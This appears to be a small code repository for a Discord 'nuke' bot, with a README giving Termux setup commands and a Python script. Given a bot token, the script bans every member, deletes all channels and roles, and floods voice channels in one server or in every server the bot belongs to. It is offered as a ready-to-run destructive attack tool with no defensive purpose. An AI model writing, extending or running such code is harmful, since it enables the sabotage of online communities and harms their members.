├── Requirements.txt ├── README.md └── nuke-bot.py /Requirements.txt: -------------------------------------------------------------------------------- 1 | colorama>=0.4.4 2 | 3 | discord.py>=1.5.1 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DISCORD.NUKER-FOR-TERMUX 2 | easy to use can also use from phone 3 | code to put on termux is 4 | 5 | apt update && apt upgrade 6 | 7 | pkg install python git 8 | 9 | git clone https://github.com/hacker999-byte/DISCORD.NUKER-FOR-TERMUX-HacKeRy1-.git 10 | 11 | cd DISCORD.NUKER-FOR-TERMUX-HacKeRy1- 12 | 13 | python -m pip install -r requirements.txt 14 | 15 | python nuke-bot.py 16 | -------------------------------------------------------------------------------- /nuke-bot.py: -------------------------------------------------------------------------------- 1 | import discord 2 | from discord.ext import commands 3 | from colorama import init, Fore as cc 4 | from os import name as os_name, system 5 | from sys import exit 6 | init() 7 | dr = DR = r = R = cc.LIGHTRED_EX 8 | g = G = cc.LIGHTGREEN_EX 9 | b = B = cc.LIGHTBLUE_EX 10 | m = M = cc.LIGHTMAGENTA_EX 11 | c = C = cc.LIGHTCYAN_EX 12 | y = Y = cc.LIGHTYELLOW_EX 13 | w = W = cc.RESET 14 | 15 | clear = lambda: system('cls') if os_name == 'nt' else system('clear') 16 | def _input(text):print(text, end='');return input() 17 | 18 | baner = f''' 19 | ╭╮╱╭╮╱╱╱╱╱╭╮╭━╮╱╱╭━━━╮╱╱╱╱╭╮ 20 | ┃┃╱┃┃╱╱╱╱╱┃┃┃╭╯╱╱┃╭━╮┃╱╱╱╭╯┃ 21 | ┃╰━╯┣━━┳━━┫╰╯╯╭━━┫╰━╯┣╮╱╭╋╮┃ 22 | ┃╭━╮┃╭╮┃╭━┫╭╮┃┃┃━┫╭╮╭┫┃╱┃┃┃┃ 23 | ┃┃╱┃┃╭╮┃╰━┫┃┃╰┫┃━┫┃┃╰┫╰━╯┣╯╰╮ 24 | ╰╯╱╰┻╯╰┻━━┻╯╰━┻━━┻╯╰━┻━╮╭┻━━╯ 25 | ╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃ 26 | ╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯ 27 | {y}Made by: {g}https://github.com/hacker999-byte''' 28 | 29 | 30 | 31 | async def delete_all_channel(guild): 32 | deleted = 0 33 | for channel in guild.channels: 34 | try: 35 | await channel.delete() 36 | deleted += 1 37 | except: 38 | continue 39 | return deleted 40 | 41 | async def delete_all_roles(guild): 42 | deleted = 0 43 | for role in guild.roles: 44 | try: 45 | await role.delete() 46 | deleted += 1 47 | except: 48 | continue 49 | return deleted 50 | 51 | async def ban_all_members(guild): 52 | banned = 0 53 | for member in guild.members: 54 | try: 55 | await member.ban() 56 | banned += 1 57 | except: 58 | continue 59 | return banned 60 | 61 | 62 | async def create_roles(guild, name): 63 | created = 0 64 | for _ in range(200 - len(guild.roles)): 65 | try: 66 | await guild.create_role(name=name) 67 | created += 1 68 | except: 69 | continue 70 | return created 71 | 72 | async def create_voice_channels(guild, name): 73 | created = 0 74 | for _ in range(200 - len(guild.channels)): 75 | try: 76 | await guild.create_voice_channel(name=name) 77 | created += 1 78 | except: 79 | continue 80 | return created 81 | 82 | async def nuke_guild(guild): 83 | print(f'{r}Nuke: {m}{guild.name}') 84 | banned = await ban_all_members(guild) 85 | print(f'{m}Banned:{b}{banned}') 86 | deleted_channels = await delete_all_channel(guild) 87 | print(f'{m}Delete Channels:{b}{deleted_channels}') 88 | delete_roles = await delete_all_roles(guild) 89 | print(f'{m}Delete Roles:{b}{delete_roles}') 90 | created_channels = await create_voice_channels(guild,name) 91 | print(f'{m}Create Voice Channels:{b}{created_channels}') 92 | #created_roles = await created_roles(guild,name) 93 | #print(f'{m}Create Roles:{b}{created_roles}') 94 | print(f'{r}--------------------------------------------\n\n') 95 | 96 | 97 | while True: 98 | clear() 99 | choice = input(f''' 100 | {baner} 101 | {c}-------------------------------------------- 102 | {b}[Menu] 103 | {y}└─[1] {m}- {g}Run Setup Nuke Bot 104 | {y}└─[2] {m}- {g}Exit 105 | {y}====>{g}''') 106 | if choice == '1': 107 | token = _input(f'{y}Input bot token:{g}') 108 | name = _input(f'{y}Input name for created channels / roles:{g}') 109 | clear() 110 | choice_type = _input(f''' 111 | {baner} 112 | {c}-------------------------------------------- 113 | {b}[Select] 114 | {y}└─[1] {m}- {g}Nuke of all servers. 115 | {y}└─[2] {m}- {g}Nuke only one server. 116 | {y}└─[3] {m}- {g}Exit 117 | {y}====>{g}''') 118 | client = commands.Bot(command_prefix='.',intents=discord.Intents.all()) 119 | if choice_type == '1': 120 | @client.event 121 | async def on_ready(): 122 | print(f''' 123 | [+]Logged as {client.user.name} 124 | [+]Bot in {len(client.guilds)} servers!''') 125 | for guild in client.guilds: 126 | await nuke_guild(guild) 127 | await client.close() 128 | elif choice_type == '2': 129 | guild_id = _input(f'{y}Input server id:{g}') 130 | @client.event 131 | async def on_ready(): 132 | for guild in client.guilds: 133 | if str(guild.id) == guild_id: 134 | await nuke_guild(guild) 135 | await client.close() 136 | elif choice_type == '3': 137 | print(f'{dr}Exit...') 138 | exit() 139 | try: 140 | client.run(token) 141 | input('Nuke finished, press enter for return to menu...') 142 | except Exception as error: 143 | if error == '''Shard ID None is requesting privileged intents that have not been explicitly enabled in the developer portal. It is recommended to go to https://discord.com/developers/applications/ and explicitly enable the privileged intents within your application's page. If this is not possible, then consider disabling the privileged intents instead.''': 144 | input(f'{r}Intents Error\n{g}For fix -> https://prnt.sc/wmrwut\n{b}Press enter for return...') 145 | else: 146 | input(f'{r}{error}\n{b}Press enter for return...') 147 | continue 148 | elif choice == '2': 149 | print(f'{dr}Exit...') 150 | exit() 151 | --------------------------------------------------------------------------------